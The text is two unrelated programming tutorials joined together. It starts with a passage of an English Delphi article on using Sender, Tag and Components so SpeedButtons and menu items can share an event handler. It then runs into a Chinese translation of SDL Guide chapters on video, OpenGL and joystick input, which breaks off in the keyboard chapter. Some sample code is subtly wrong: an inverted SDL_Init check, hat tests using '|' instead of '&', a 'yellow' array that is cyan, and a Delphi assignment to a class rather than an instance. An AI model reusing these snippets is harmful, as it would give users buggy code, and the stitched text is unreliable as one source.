As TPanel's ancestor type, TObject is perfectly valid in other respects; but it does not contain a Color property. Since TObject contains no properties, developers cannot use it to determine the properties of a wide range of objects. This means a program cannot find the color of a TPanel, TLabel, or TForm all with the same TObject(Sender).Color code.

In fact, these three component types all contain the Color property. However, because they do not share this property in common ancestor classes, programmers cannot easily create one block of code to get the Color property from these various types of objects. The simplest solution a developer could use would be this:

if Sender is TPanel then

Brush.Color := TPanel(Sender).Color;

if Sender is TLabel then

Brush.Color := TLabel(Sender).Color;

if Sender is TForm then

Brush.Color := TForm(Sender).Color;

Fortunately for developers, the Delphi designers added the Tag property. Tag is a little catch-all integer parameter that developers can use for whatever purpose they choose. What makes Tag especially useful is that it resides well up the inheritance tree in the TComponent class. Just two steps down the ladder from TObject, TComponent is the ancestor of all controls. This means that any of these objects will have the Tag property. Unlike the Color property cited above, the Tag property of any object can be accessed with a simple line of code:

TForm.Tag := TComponent(Sender).Tag;

Sender Impostors

I mentioned earlier that as procedures pass the Sender parameter from one to another, it never changes. It always points back to the object that called the original event handler. This is true provided each procedure along the path passes the original parameter. However, you can also substitute another parameter for the original Sender, fooling subsequent procedures into acting on another object as if it were the true Sender.

This is the basis of our sample application, SENDER.DPR. It uses Sender and the Tag property so that Delphi can be "fooled" into having similar menu and button commands perform special actions on the buttons. Traditionally, this wouldn't require special Sender parameters - both buttons and menu items will share an event handler that can update the button as part of its functionality:

procedure Button1Click(Sender: TObject);

begin

{ Main functionality }

Button1.Font.Style := [fsBold];

end;

However, when several components share a single event handler, the programmer cannot simply assume to act on a specific object. Modifying the code in question to read:

TButton(Sender).Font.Style := [fsBold];

is fine provided the code is always called by a TButton. However, this makes it troublesome to call the same event handler from a corresponding menu item because the menu item will cause an error each time it calls the event handler.

The Sample Application's Framework

The sample application provides the framework for a modular, easily-extendible application. It also demonstrates how to make the simple Sender parameter do a lot of high-powered work, and shows how to get around some of the limitations mentioned earlier.

Most applications contain menu items and buttons that perform the same action. Delphi makes it simple to do this by routing multiple events to a shared event handler. If multiple buttons and menu items all use the same event handler, it's simple to determine which control called the procedure. However, it becomes more difficult to determine, say, which menu item corresponds to the calling event if the control was actually a button. The user may obviously find that the Word Wrap button and the Word Wrap menu command are synonymous in functionality. However, to have Delphi understand this and update the menu item's Checked property - regardless of which control was the Sender - takes some special programming.

The sample application contains four SpeedButtons, as well as main and pop-up menu items that correspond to each (see Figure 2). The buttons and menu items each perform similar functions, in this case, using a database to track the amount of time spent on each of a number of tasks. Program users can configure any number of tasks, all of which call the same event handler. (For the sake of clarity, the sample application illustrates only the Sender functions.)

Figure 2: The layout of the sample application's components.

While a task is active, its SpeedButton remains depressed. Pressing a depressed button releases it and ends the task. Pressing a button while another is depressed releases the first and depresses the new button, causing the timesheet database to be simultaneously updated. The trick, of course, is to handle a number of MenuItems and SpeedButtons all with one event handler. This technique enables the programmer to allow for any number of tasks without having to write a new handler for each.

Implementing this functionality requires one more ingredient: the Components property. Like Tag, Components is a property of TComponent, meaning that it's accessible to all components. Components is a property of every component, but in most cases it's only used on TForms. In this case, the Components property is an array of all components owned by the form.

Build It

To build the sample application, create a single form named Form1. Add four SpeedButtons (used here to easily allow two-state buttons), a Label, a MainMenu (with an item called File1 and four sub-items), and a pop-up menu (also with four menu items). Set the properties as shown in Figure 3.

SpeedButtons
Name/Caption | AllowAllUp | GroupIndex | Tag | OnClick event handler
SpeedButton1 | True | 1 | 1 | SpeedButtonClick
SpeedButton2 | True | 1 | 2 | SpeedButtonClick
SpeedButton3 | True | 1 | 3 | SpeedButtonClick
SpeedButton4 | True | 1 | 4 | SpeedButtonClick

MenuItems
Name/Caption | Tag | OnClick event handler
File1 | 0 | --
MainItem1 | 1 | SpeedButtonClick
MainItem2 | 2 | SpeedButtonClick
MainItem3 | 3 | SpeedButtonClick
MainItem4 | 4 | SpeedButtonClick
PopupItem1 | 1 | SpeedButtonClick
PopupItem2 | 2 | SpeedButtonClick
PopupItem3 | 3 | SpeedButtonClick
PopupItem4 | 4 | SpeedButtonClick

Figure 3: Setting the values of properties for the sample application's SpeedButton and MenuItem components.

Note that all the buttons and menu items have the same event handler, namely SpeedButtonClick (see Figure 4). This procedure is called from any of the SpeedButtons or menu items on the form (except MenuItem File1). It references two external procedures, PushButton and ReleaseButton.

procedure TForm1.SpeedButtonClick(Sender: TObject);

var

A : Integer;

begin

if Sender is TSpeedButton then

if TSpeedButton(Sender).Down then

PushButton(Sender)

else

ReleaseButton(Sender)

else

for A := 0 to ComponentCount-1 do

if Components[A] is TSpeedButton then

with Components[A] as TSpeedButton do

if Tag = TComponent(Sender).Tag then

begin

Down := not Down;

if Down then

PushButton(Self.Components[A])

else

ReleaseButton(Self.Components[A]);

end;

end;

Figure 4: Referencing PushButton and ReleaseButton with the SpeedButtonClick procedure.

SpeedButtonClick first determines which object sent the event. If it's a TSpeedButton, it simply passes that object to the PushButton or ReleaseButton procedure, depending on the button's state (up or down). These procedures simply allow convenient spots for the messages to be handled. In the following example, the Caption of Label1 is set to report the event that occurred:

procedure TForm1.PushButton(Sender: TObject);

begin

Label1.Caption :=

TComponent(Sender).Name + ' was clicked.';

end;

procedure TForm1.ReleaseButton(Sender: TObject);

begin

Label1.Caption :=

TComponent(Sender).Name + ' was released.';

end;

If the Sender of the event is not one of the buttons, we must determine which button to click. This is where the Tag property and the Components array property come in. As you noticed in Figure 3, SpeedButton1 had a Tag value of 1. MainItem1 and PopupItem1 also have Tag values of 1. Therefore, if any of the menu items are selected, it's a simple matter of viewing their Tag values and transferring the event to the SpeedButton with the same Tag. This is handled in the SpeedButtonClick handler:

for A := 0 to ComponentCount-1 do

if Components[A] is TSpeedButton then

with Components[A] as TSpeedButton do

if Tag = TComponent(Sender).Tag then

This code snippet scans the Components array and examines each component it finds. When a TSpeedButton is found, the code compares this object's Tag value with the Tag value of the object that originally fired the message. If the values are the same, then the code found the button that ultimately receives the event. Since the code has already determined that it's a TSpeedButton, this object's up/down state can now be toggled. Then, either the PushButton or ReleaseButton procedure is called with the selected SpeedButton passed as the parameter as follows:

begin

Down := not Down;

if Down then

PushButton(Self.Components[A])

else

ReleaseButton(Self.Components[A]);

end;

This statement:

PushButton(Self.Components[A])

calls the procedure PushButton, passing along the parameter:

Self.Components[A]

The PushButton procedure interprets this Self statement as the original Sender. The Self portion is required because we want to look at the Components property of Form1. Since the code uses a with statement to simplify readability, we must ensure that the code is viewing the correct Components property. In this case, SpeedButtons also have a Components property and without the Self qualifier, it will erroneously look there instead.

The PushButton procedure is where the timesheet database would be updated or other functions would be performed. Since the previous procedure handled the bulk of the work, PushButton simply performs the actions necessary when the button has been pressed. Remember that SpeedButtonClick did not send the actual Sender parameter, but sent a modified one that points to the SpeedButton regardless of how the button was selected. SpeedButtonClick's other procedure call, ReleaseButton, is likewise called to handle whatever events should occur when the button is released.

Conclusion

Alone, the Sender parameter is a simple return address, allowing functions to trace which component triggered their event. But used in conjunction with a few other properties, such as Tag and Components, Sender becomes a powerful tool for tracing and filtering program flow. This ability to work around program limitations allows developers to create single, modular event handlers for components of all types, without the need for multiple if..then statements. This, of course, is just one way of extending Sender's abilities. There are as many possibilities as there are programs to write.


CSDN_文档中心_SDL Guide 中文译版(二)

第二章 图像和视频

初始化SDL Video显示

视频是最常用的部分，也是SDL最完整的子系统。下面的初始化过程是每个SDL程序都要做的，即使可能有些不同。

例2-1 初始化视频

    SDL_Surface *screen;

    /* Initialize the SDL library */
    if( SDL_Init(SDL_INIT_VIDEO) < 0 ) {
        fprintf(stderr,
                "Couldn't initialize SDL: %s\n", SDL_GetError());
        exit(1);
    }

    /* Clean up on exit */
    atexit(SDL_Quit);

    /*
     * Initialize the display in a 640x480 8-bit palettized mode,
     * requesting a software surface
     */
    screen = SDL_SetVideoMode(640, 480, 8, SDL_SWSURFACE);
    if ( screen == NULL ) {
        fprintf(stderr, "Couldn't set 640x480x8 video mode: %s\n",
                        SDL_GetError());
        exit(1);
    }

初始化最佳视频模式

如果你希望某种色深（颜色数）但如果用户的显示器不支持也可以接受其他色深，使用加SDL_ANYFORMAT参数的SDL_SetVideoMode。您还可以用SDL_VideoModeOK来找到与请求模式最接近的模式。

例2-2 初始化最佳视频模式

    /* Have a preference for 8-bit, but accept any depth */
    screen = SDL_SetVideoMode(640, 480, 8, SDL_SWSURFACE|SDL_ANYFORMAT);
    if ( screen == NULL ) {
        fprintf(stderr, "Couldn't set 640x480x8 video mode: %s\n",
                        SDL_GetError());
        exit(1);
    }
    printf("Set 640x480 at %d bits-per-pixel mode\n",
           screen->format->BitsPerPixel);

读取并显示BMP文件

当SDL已经初始化，视频模式已经选择，下面的函数将读取并显示指定的BMP文件。

例2-3 读取并显示BMP文件

void display_bmp(char *file_name)
{
    SDL_Surface *image;

    /* Load the BMP file into a surface */
    image = SDL_LoadBMP(file_name);
    if (image == NULL) {
        fprintf(stderr, "Couldn't load %s: %s\n", file_name, SDL_GetError());
        return;
    }

    /*
     * Palettized screen modes will have a default palette (a standard
     * 8*8*4 colour cube), but if the image is palettized as well we can
     * use that palette for a nicer colour matching
     */
    if (image->format->palette && screen->format->palette) {
    SDL_SetColors(screen, image->format->palette->colors, 0,
                  image->format->palette->ncolors);
    }

    /* Blit onto the screen surface */
    if(SDL_BlitSurface(image, NULL, screen, NULL) < 0)
        fprintf(stderr, "BlitSurface error: %s\n", SDL_GetError());

    SDL_UpdateRect(screen, 0, 0, image->w, image->h);

    /* Free the allocated BMP surface */
    SDL_FreeSurface(image);
}

直接在显示上绘图

下面两个函数实现在图像平面的像素读写。它们被细心设计成可以用于所有色深。记住在使用前要先锁定图像平面，之后要解锁。

在像素值和其红、绿、蓝值间转换，使用SDL_GetRGB()和SDL_MapRGB()。

例2-4 getpixel()

/*
 * Return the pixel value at (x, y)
 * NOTE: The surface must be locked before calling this!
 */
Uint32 getpixel(SDL_Surface *surface, int x, int y)
{
    int bpp = surface->format->BytesPerPixel;
    /* Here p is the address to the pixel we want to retrieve */
    Uint8 *p = (Uint8 *)surface->pixels + y * surface->pitch + x * bpp;

    switch(bpp) {
    case 1:
        return *p;

    case 2:
        return *(Uint16 *)p;

    case 3:
        if(SDL_BYTEORDER == SDL_BIG_ENDIAN)
            return p[0] << 16 | p[1] << 8 | p[2];
        else
            return p[0] | p[1] << 8 | p[2] << 16;

    case 4:
        return *(Uint32 *)p;

    default:
        return 0;       /* shouldn't happen, but avoids warnings */
    }
}

例2-5 putpixel()

/*
 * Set the pixel at (x, y) to the given value
 * NOTE: The surface must be locked before calling this!
 */
void putpixel(SDL_Surface *surface, int x, int y, Uint32 pixel)
{
    int bpp = surface->format->BytesPerPixel;
    /* Here p is the address to the pixel we want to set */
    Uint8 *p = (Uint8 *)surface->pixels + y * surface->pitch + x * bpp;

    switch(bpp) {
    case 1:
        *p = pixel;
        break;

    case 2:
        *(Uint16 *)p = pixel;
        break;

    case 3:
        if(SDL_BYTEORDER == SDL_BIG_ENDIAN) {
            p[0] = (pixel >> 16) & 0xff;
            p[1] = (pixel >> 8) & 0xff;
            p[2] = pixel & 0xff;
        } else {
            p[0] = pixel & 0xff;
            p[1] = (pixel >> 8) & 0xff;
            p[2] = (pixel >> 16) & 0xff;
        }
        break;

    case 4:
        *(Uint32 *)p = pixel;
        break;
    }
}

例2-6 使用上面的putpixel()在屏幕中心画一个黄点

    /* Code to set a yellow pixel at the center of the screen */

    int x, y;
    Uint32 yellow;

    /* Map the color yellow to this display (R=0xff, G=0xFF, B=0x00)
       Note:  If the display is palettized, you must set the palette first.
    */
    yellow = SDL_MapRGB(screen->format, 0xff, 0xff, 0x00);

    x = screen->w / 2;
    y = screen->h / 2;

    /* Lock the screen for direct access to the pixels */
    if ( SDL_MUSTLOCK(screen) ) {
        if ( SDL_LockSurface(screen) < 0 ) {
            fprintf(stderr, "Can't lock screen: %s\n", SDL_GetError());
            return;
        }
    }

    putpixel(screen, x, y, yellow);

    if ( SDL_MUSTLOCK(screen) ) {
        SDL_UnlockSurface(screen);
    }
    /* Update just the part of the display that we've changed */
    SDL_UpdateRect(screen, x, y, 1, 1);

    return;

并用SDL和OpenGL

SDL可以在多种平台（Linux/X11, Win32, BeOS, MacOS Classic/Toolbox, MacOS X, FreeBSD/X11 and Solaris/X11）上创建和使用OpenGL上下文。这允许你在OpenGL程序中使用SDL的音频、事件、线程和记时器，而这些通常是GLUT的任务。

和普通的初始化类似，但有三点不同：必须传SDL_OPENGL参数给SDL_SetVideoMode；必须使用SDL_GL_SetAttribute指定一些GL属性（深度缓冲区位宽，帧缓冲位宽等）；如果您想使用双缓冲，必须作为GL属性指定

例2-7 初始化SDL加OpenGL

    /* Information about the current video settings. */
    const SDL_VideoInfo* info = NULL;
    /* Dimensions of our window. */
    int width = 0;
    int height = 0;
    /* Color depth in bits of our window. */
    int bpp = 0;
    /* Flags we will pass into SDL_SetVideoMode. */
    int flags = 0;

    /* First, initialize SDL's video subsystem. */
    if( SDL_Init( SDL_INIT_VIDEO ) < 0 ) {
        /* Failed, exit. */
        fprintf( stderr, "Video initialization failed: %s\n",
             SDL_GetError( ) );
        quit_tutorial( 1 );
    }

    /* Let's get some video information. */
    info = SDL_GetVideoInfo( );

    if( !info ) {
        /* This should probably never happen. */
        fprintf( stderr, "Video query failed: %s\n",
             SDL_GetError( ) );
        quit_tutorial( 1 );
    }

    /*
     * Set our width/height to 640/480 (you would
     * of course let the user decide this in a normal
     * app). We get the bpp we will request from
     * the display. On X11, VidMode can't change
     * resolution, so this is probably being overly
     * safe. Under Win32, ChangeDisplaySettings
     * can change the bpp.
     */
    width = 640;
    height = 480;
    bpp = info->vfmt->BitsPerPixel;

    /*
     * Now, we want to setup our requested
     * window attributes for our OpenGL window.
     * We want *at least* 5 bits of red, green
     * and blue. We also want at least a 16-bit
     * depth buffer.
     *
     * The last thing we do is request a double
     * buffered window. '1' turns on double
     * buffering, '0' turns it off.
     *
     * Note that we do not use SDL_DOUBLEBUF in
     * the flags to SDL_SetVideoMode. That does
     * not affect the GL attribute state, only
     * the standard 2D blitting setup.
     */
    SDL_GL_SetAttribute( SDL_GL_RED_SIZE, 5 );
    SDL_GL_SetAttribute( SDL_GL_GREEN_SIZE, 5 );
    SDL_GL_SetAttribute( SDL_GL_BLUE_SIZE, 5 );
    SDL_GL_SetAttribute( SDL_GL_DEPTH_SIZE, 16 );
    SDL_GL_SetAttribute( SDL_GL_DOUBLEBUFFER, 1 );

    /*
     * We want to request that SDL provide us
     * with an OpenGL window, in a fullscreen
     * video mode.
     *
     * EXERCISE:
     * Make starting windowed an option, and
     * handle the resize events properly with
     * glViewport.
     */
    flags = SDL_OPENGL | SDL_FULLSCREEN;

    /*
     * Set the video mode
     */
    if( SDL_SetVideoMode( width, height, bpp, flags ) == 0 ) {
        /*
         * This could happen for a variety of reasons,
         * including DISPLAY not being set, the specified
         * resolution not being available, etc.
         */
        fprintf( stderr, "Video mode set failed: %s\n",
             SDL_GetError( ) );
        quit_tutorial( 1 );
    }

OpenGL绘图

除了初始化，在SDL程序中使用OpenGL和其他情况基本相同，是同样函数和数据类型。但是如果您使用双缓冲，则必须用SDL_GL_SwapBuffers()来交换前后缓冲，而不是glxSwapBuffers()（GLX）或SwapBuffers()（Windows）。

例2-8 SDL和OpenGL

/*
 * SDL OpenGL Tutorial.
 * (c) Michael Vance, 2000
 * briareos@lokigames.com
 *
 * Distributed under terms of the LGPL.
 */

#include <SDL/SDL.h>
#include <GL/gl.h>
#include <GL/glu.h>

#include <stdio.h>
#include <stdlib.h>

static GLboolean should_rotate = GL_TRUE;

static void quit_tutorial( int code )
{
    /*
     * Quit SDL so we can release the fullscreen
     * mode and restore the previous video settings,
     * etc.
     */
    SDL_Quit( );

    /* Exit program. */
    exit( code );
}

static void handle_key_down( SDL_keysym* keysym )
{

    /*
     * We're only interested if 'Esc' has
     * been presssed.
     *
     * EXERCISE:
     * Handle the arrow keys and have that change the
     * viewing position/angle.
     */
    switch( keysym->sym ) {
    case SDLK_ESCAPE:
        quit_tutorial( 0 );
        break;
    case SDLK_SPACE:
        should_rotate = !should_rotate;
        break;
    default:
        break;
    }

}

static void process_events( void )
{
    /* Our SDL event placeholder. */
    SDL_Event event;

    /* Grab all the events off the queue. */
    while( SDL_PollEvent( &event ) ) {

        switch( event.type ) {
        case SDL_KEYDOWN:
            /* Handle key presses. */
            handle_key_down( &event.key.keysym );
            break;
        case SDL_QUIT:
            /* Handle quit requests (like Ctrl-c). */
            quit_tutorial( 0 );
            break;
        }

    }

}

static void draw_screen( void )
{
    /* Our angle of rotation. */
    static float angle = 0.0f;

    /*
     * EXERCISE:
     * Replace this awful mess with vertex
     * arrays and a call to glDrawElements.
     *
     * EXERCISE:
     * After completing the above, change
     * it to use compiled vertex arrays.
     *
     * EXERCISE:
     * Verify my windings are correct here ;).
     */
    static GLfloat v0[] = { -1.0f, -1.0f,  1.0f };
    static GLfloat v1[] = {  1.0f, -1.0f,  1.0f };
    static GLfloat v2[] = {  1.0f,  1.0f,  1.0f };
    static GLfloat v3[] = { -1.0f,  1.0f,  1.0f };
    static GLfloat v4[] = { -1.0f, -1.0f, -1.0f };
    static GLfloat v5[] = {  1.0f, -1.0f, -1.0f };
    static GLfloat v6[] = {  1.0f,  1.0f, -1.0f };
    static GLfloat v7[] = { -1.0f,  1.0f, -1.0f };
    static GLubyte red[]    = { 255,   0,   0, 255 };
    static GLubyte green[]  = {   0, 255,   0, 255 };
    static GLubyte blue[]   = {   0,   0, 255, 255 };
    static GLubyte white[]  = { 255, 255, 255, 255 };
    static GLubyte yellow[] = {   0, 255, 255, 255 };
    static GLubyte black[]  = {   0,   0,   0, 255 };
    static GLubyte orange[] = { 255, 255,   0, 255 };
    static GLubyte purple[] = { 255,   0, 255,   0 };

    /* Clear the color and depth buffers. */
    glClear( GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT );

    /* We don't want to modify the projection matrix. */
    glMatrixMode( GL_MODELVIEW );
    glLoadIdentity( );

    /* Move down the z-axis. */
    glTranslatef( 0.0, 0.0, -5.0 );

    /* Rotate. */
    glRotatef( angle, 0.0, 1.0, 0.0 );

    if( should_rotate ) {

        if( ++angle > 360.0f ) {
            angle = 0.0f;
        }

    }

    /* Send our triangle data to the pipeline. */
    glBegin( GL_TRIANGLES );

    glColor4ubv( red );
    glVertex3fv( v0 );
    glColor4ubv( green );
    glVertex3fv( v1 );
    glColor4ubv( blue );
    glVertex3fv( v2 );

    glColor4ubv( red );
    glVertex3fv( v0 );
    glColor4ubv( blue );
    glVertex3fv( v2 );
    glColor4ubv( white );
    glVertex3fv( v3 );

    glColor4ubv( green );
    glVertex3fv( v1 );
    glColor4ubv( black );
    glVertex3fv( v5 );
    glColor4ubv( orange );
    glVertex3fv( v6 );

    glColor4ubv( green );
    glVertex3fv( v1 );
    glColor4ubv( orange );
    glVertex3fv( v6 );
    glColor4ubv( blue );
    glVertex3fv( v2 );

    glColor4ubv( black );
    glVertex3fv( v5 );
    glColor4ubv( yellow );
    glVertex3fv( v4 );
    glColor4ubv( purple );
    glVertex3fv( v7 );

    glColor4ubv( black );
    glVertex3fv( v5 );
    glColor4ubv( purple );
    glVertex3fv( v7 );
    glColor4ubv( orange );
    glVertex3fv( v6 );

    glColor4ubv( yellow );
    glVertex3fv( v4 );
    glColor4ubv( red );
    glVertex3fv( v0 );
    glColor4ubv( white );
    glVertex3fv( v3 );

    glColor4ubv( yellow );
    glVertex3fv( v4 );
    glColor4ubv( white );
    glVertex3fv( v3 );
    glColor4ubv( purple );
    glVertex3fv( v7 );

    glColor4ubv( white );
    glVertex3fv( v3 );
    glColor4ubv( blue );
    glVertex3fv( v2 );
    glColor4ubv( orange );
    glVertex3fv( v6 );

    glColor4ubv( white );
    glVertex3fv( v3 );
    glColor4ubv( orange );
    glVertex3fv( v6 );
    glColor4ubv( purple );
    glVertex3fv( v7 );

    glColor4ubv( green );
    glVertex3fv( v1 );
    glColor4ubv( red );
    glVertex3fv( v0 );
    glColor4ubv( yellow );
    glVertex3fv( v4 );

    glColor4ubv( green );
    glVertex3fv( v1 );
    glColor4ubv( yellow );
    glVertex3fv( v4 );
    glColor4ubv( black );
    glVertex3fv( v5 );

    glEnd( );

    /*
     * EXERCISE:
     * Draw text telling the user that 'Spc'
     * pauses the rotation and 'Esc' quits.
     * Do it using vetors and textured quads.
     */

    /*
     * Swap the buffers. This this tells the driver to
     * render the next frame from the contents of the
     * back-buffer, and to set all rendering operations
     * to occur on what was the front-buffer.
     *
     * Double buffering prevents nasty visual tearing
     * from the application drawing on areas of the
     * screen that are being updated at the same time.
     */
    SDL_GL_SwapBuffers( );
}

static void setup_opengl( int width, int height )
{
    float ratio = (float) width / (float) height;

    /* Our shading model--Gouraud (smooth). */
    glShadeModel( GL_SMOOTH );

    /* Culling. */
    glCullFace( GL_BACK );
    glFrontFace( GL_CCW );
    glEnable( GL_CULL_FACE );

    /* Set the clear color. */
    glClearColor( 0, 0, 0, 0 );

    /* Setup our viewport. */
    glViewport( 0, 0, width, height );

    /*
     * Change to the projection matrix and set
     * our viewing volume.
     */
    glMatrixMode( GL_PROJECTION );
    glLoadIdentity( );
    /*
     * EXERCISE:
     * Replace this with a call to glFrustum.
     */
    gluPerspective( 60.0, ratio, 1.0, 1024.0 );
}

int main( int argc, char* argv[] )
{
    /* Information about the current video settings. */
    const SDL_VideoInfo* info = NULL;
    /* Dimensions of our window. */
    int width = 0;
    int height = 0;
    /* Color depth in bits of our window. */
    int bpp = 0;
    /* Flags we will pass into SDL_SetVideoMode. */
    int flags = 0;

    /* First, initialize SDL's video subsystem. */
    if( SDL_Init( SDL_INIT_VIDEO ) < 0 ) {
        /* Failed, exit. */
        fprintf( stderr, "Video initialization failed: %s\n",
             SDL_GetError( ) );
        quit_tutorial( 1 );
    }

    /* Let's get some video information. */
    info = SDL_GetVideoInfo( );

    if( !info ) {
        /* This should probably never happen. */
        fprintf( stderr, "Video query failed: %s\n",
             SDL_GetError( ) );
        quit_tutorial( 1 );
    }

    /*
     * Set our width/height to 640/480 (you would
     * of course let the user decide this in a normal
     * app). We get the bpp we will request from
     * the display. On X11, VidMode can't change
     * resolution, so this is probably being overly
     * safe. Under Win32, ChangeDisplaySettings
     * can change the bpp.
     */
    width = 640;
    height = 480;
    bpp = info->vfmt->BitsPerPixel;

    /*
     * Now, we want to setup our requested
     * window attributes for our OpenGL window.
     * We want *at least* 5 bits of red, green
     * and blue. We also want at least a 16-bit
     * depth buffer.
     *
     * The last thing we do is request a double
     * buffered window. '1' turns on double
     * buffering, '0' turns it off.
     *
     * Note that we do not use SDL_DOUBLEBUF in
     * the flags to SDL_SetVideoMode. That does
     * not affect the GL attribute state, only
     * the standard 2D blitting setup.
     */
    SDL_GL_SetAttribute( SDL_GL_RED_SIZE, 5 );
    SDL_GL_SetAttribute( SDL_GL_GREEN_SIZE, 5 );
    SDL_GL_SetAttribute( SDL_GL_BLUE_SIZE, 5 );
    SDL_GL_SetAttribute( SDL_GL_DEPTH_SIZE, 16 );
    SDL_GL_SetAttribute( SDL_GL_DOUBLEBUFFER, 1 );

    /*
     * We want to request that SDL provide us
     * with an OpenGL window, in a fullscreen
     * video mode.
     *
     * EXERCISE:
     * Make starting windowed an option, and
     * handle the resize events properly with
     * glViewport.
     */
    flags = SDL_OPENGL | SDL_FULLSCREEN;

    /*
     * Set the video mode
     */
    if( SDL_SetVideoMode( width, height, bpp, flags ) == 0 ) {
        /*
         * This could happen for a variety of reasons,
         * including DISPLAY not being set, the specified
         * resolution not being available, etc.
         */
        fprintf( stderr, "Video mode set failed: %s\n",
             SDL_GetError( ) );
        quit_tutorial( 1 );
    }

    /*
     * At this point, we should have a properly setup
     * double-buffered window for use with OpenGL.
     */
    setup_opengl( width, height );

    /*
     * Now we want to begin our normal app process--
     * an event loop with a lot of redrawing.
     */
    while( 1 ) {
        /* Process incoming events. */
        process_events( );
        /* Draw the screen. */
        draw_screen( );
    }

    /*
     * EXERCISE:
     * Record timings using SDL_GetTicks() and
     * and print out frames per second at program
     * end.
     */

    /* Never reached. */
    return 0;
}


CSDN_文档中心_SDL Guide 中文译版(三上)

第三章上 游戏杆输入处理

初始化

使用游戏杆的第一步是初始化游戏杆子系统。即在SDL_Init时使用参数SDL_INIT_JOYSTICK。

例3-1 初始化SDL并带游戏杆支持

    if ( ! SDL_Init( SDL_INIT_VIDEO | SDL_INIT_JOYSTICK ) )
    {
        fprintf(stderr, "Couldn't initialize SDL: %s\n", SDL_GetError());
        exit(1);
    }

此例启动SDL并带视频和游戏杆支持。

查询

至此，我们可以假定初始化以完成。但我们还需指导有没有、有几个游戏杆。即使您指导有一个游戏杆可用，也最好经常检查，因为这样可以帮助检测游戏杆被拔掉的情况。

检查游戏杆的函数是SDL_NumJoysticks()。此函数简单的返回系统中游戏杆的数量。下一步是决定用户想用哪一个。当然，如果只有一个就不用决定了。SDL_JoystickName取得系统赋给游戏杆的名字。游戏杆用序号指定，第一个为0，最后一个为SDL_NumJoysticks - 1。

例3-2 打印所有游戏杆的名字

    printf("%i joysticks were found.\n\n", SDL_NumJoysticks() );
    printf("The names of the joysticks are:\n");

    for( i=0; i < SDL_NumJoysticks(); i++ )
    {
        printf("    %s\n", SDL_JoystickName(i));
    }

启动游戏杆取得事件

SDL使用事件架构，游戏杆可以触发四种事件。

  • SDL_JoyAxisEvent 轴改变
  • SDL_JoyBallEvent 轨迹球坐标改变
  • SDL_JoyHatEvent hat（sorry，在下不解何为hat）方向改变
  • SDL_JoyButtonEvent 按钮按下或释放

所有启动的游戏杆都会触发事件。为了收到事件，首先要用SDL_ENABLE调用SDL_JoystickEventState，以允许事件。其次要启动指定的游戏杆，用SDL_JoystickOpen()。

例3-3 启动第一个游戏杆

    SDL_Joystick *joystick;

    SDL_JoystickEventState(SDL_ENABLE);
    joystick = SDL_JoystickOpen(0);

游戏杆对象的指针只在查询和关闭游戏杆时有用。

现在为了响应事件，我们需要一个消息循环。所有的SDL程序至少要接受系统退出消息。设想我们的消息循环象这样：

    SDL_Event event;
    /* Other initializtion code goes here */

    /* Start main game loop here */

    while(SDL_PollEvent(&event))
    {
        switch(event.type)
        {
            case SDL_KEYDOWN:
            /* handle keyboard stuff here */
            break;

            case SDL_QUIT:
            /* Set whatever flags are necessary to */
            /* end the main game loop here */
            break;
        }
    }

    /* End loop here */

要响应游戏杆事件，只需添加一个case。轴检测得有些技巧，因为大部分事件是垃圾。摇杆动一点就会有事件。所以必须设定一个阈值，并且忽略未达到阈值的事件。一般10%是个比较好的阈值。

例3-4 游戏杆轴事件

    case SDL_JOYAXISMOTION:  /* Handle Joystick Motion */
    if ( ( event.jaxis.value < -3200 ) || (event.jaxis.value > 3200 ) )
    {
      /* code goes here */
    }
    break;

另一个技巧是上下和左右是两组不同的运动。最重要的轴是轴0（左右）和轴1（上下）。按如下方法作不同处理：

例3-5

    case SDL_JOYAXISMOTION:  /* Handle Joystick Motion */
    if ( ( event.jaxis.value < -3200 ) || (event.jaxis.value > 3200 ) )
    {
        if( event.jaxis.axis == 0)
        {
            /* Left-right movement code goes here */
        }

        if( event.jaxis.axis == 1)
        {
            /* Up-Down movement code goes here */
        }
    }
    break;

理想情况下，应该用event.jaxis.value来调整一些值。例如你在用游戏杆控制飞船，将摇杆推一点则慢速前进，推很多则快速前进。这样设计会使用户的体验更好。如果你的游戏杆有更多的轴，可用于其他控制，用法完全一样，event.jaxis.axis会有不同的值。

例3-6 游戏杆按钮事件

    case SDL_JOYBUTTONDOWN:  /* Handle Joystick Button Presses */
    if ( event.jbutton.button == 0 )
    {
        /* code goes here */
    }
    break;

按钮检测很简单，因为只有按下和放开两个状态。按下时SDL_JOYBUTTONDOWN触发，放开时SDL_JOYBUTTONUP触发。event.jbutton.button指示是哪个按钮。

最后，程序结束时用SDL_JoystickClose()关闭游戏杆。例如关闭前面启动的0号游戏杆：

SDL_JoystickClose(joystick);

高级游戏杆函数

轨迹球消息包含X和Y方向的改变量。

例3-7 轨迹球事件

    case SDL_JOYBALLMOTION:  /* Handle Joyball Motion */
    if( event.jball.ball == 0 )
    {
      /* ball handling */
    }
    break;

此例检测第一个轨迹球。坐标改变量在event.jball.xrel和event.jball.yrel中。

最后是hat事件。hat只报告方向。我们通过位掩码检测：

SDL_HAT_CENTERED
SDL_HAT_UP
SDL_HAT_RIGHT
SDL_HAT_DOWN
SDL_HAT_LEFT

预定义的组合：

SDL_HAT_RIGHTUP
SDL_HAT_RIGHTDOWN
SDL_HAT_LEFTUP
SDL_HAT_LEFTDOWN

例3-8 游戏杆hat事件

    case SDL_JOYHATMOTION:  /* Handle Hat Motion */
    if ( event.jhat.hat | SDL_HAT_UP )
    {
        /* Do up stuff here */
    }

    if ( event.jhat.hat | SDL_HAT_LEFT )
    {
        /* Do left stuff here */
    }

    if ( event.jhat.hat | SDL_HAT_RIGHTDOWN )
    {
        /* Do right and down together stuff here */
    }
    break;

除了游戏杆的数量，还可查询：

  • SDL_JoystickNumAxes 轴数量
  • SDL_JoystickNumButtons 按钮数量
  • SDL_JoystickNumBalls 轨迹球数量
  • SDL_JoystickNumHats hat数量

只需将启动游戏杆时得到的指针传给这些函数即可。

例3-9 查询游戏杆特性

    int number_of_buttons;
    SDL_Joystick *joystick;

    joystick = SDL_JoystickOpen(0);
    number_of_buttons = SDL_JoystickNumButtons(joystick);


CSDN_文档中心_SDL Guide 中文译版(三下)

第三章下 键盘输入

键盘相关数据结构

  • SDLKey 枚举类型，每一个符号代表一个键，如SDLK_a、SDLK_SPACE，在SDL_keysym.h中定义。
  • SDLMod 枚举类型，类似SDLKey，但用于修饰键，如Control、Alt、Shift，可以组合。
  • SDL_keysym
    typedef struct{
  Uint8 scancode;
  SDLKey sym;
  SDLMod mod;
  Uint16 unicode;
